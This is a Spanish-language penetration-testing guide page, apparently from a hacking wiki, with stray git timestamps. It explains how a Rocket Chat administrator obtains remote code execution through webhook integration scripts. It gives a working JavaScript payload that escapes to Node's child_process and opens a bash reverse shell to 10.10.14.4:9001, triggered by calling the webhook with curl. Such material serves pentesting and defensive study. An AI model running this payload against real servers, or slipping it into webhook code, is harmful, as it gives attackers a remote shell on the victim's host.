2023-06-05 18:33:24 +00:00
## RCE
Si eres administrador dentro de Rocket Chat, puedes obtener RCE.
* Ve a ** `Integraciones` ** y selecciona ** `Nueva Integración` ** y elige cualquier opción: ** `Incoming WebHook` ** o ** `Outgoing WebHook` **.
* `/admin/integrations/incoming`
< figure > < img src = "../../.gitbook/assets/image (4) (2).png" alt = "" > < figcaption > < / figcaption > < / figure >
* Según la [documentación ](https://docs.rocket.chat/guides/administration/admin-panel/integrations ), ambas usan ES2015 / ECMAScript 6 ([básicamente JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) para procesar los datos. Así que obtengamos un [rev shell para javascript ](../../generic-methodologies-and-resources/shells/linux.md#nodejs ) como:
```javascript
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>& 1'")
```
* Configura el WebHook (el canal y el nombre de usuario para publicar deben existir):
< figure > < img src = "../../.gitbook/assets/image (1) (8).png" alt = "" > < figcaption > < / figcaption > < / figure >
* Configura el script del WebHook:
2023-06-13 10:41:23 +00:00
< figure > < img src = "../../.gitbook/assets/image (2) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-06-05 18:33:24 +00:00
* Guarda los cambios
* Obtén la URL del WebHook generada:
< figure > < img src = "../../.gitbook/assets/image (3) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-06-13 10:41:23 +00:00
* Llámala con curl y deberías recibir la shell inversa.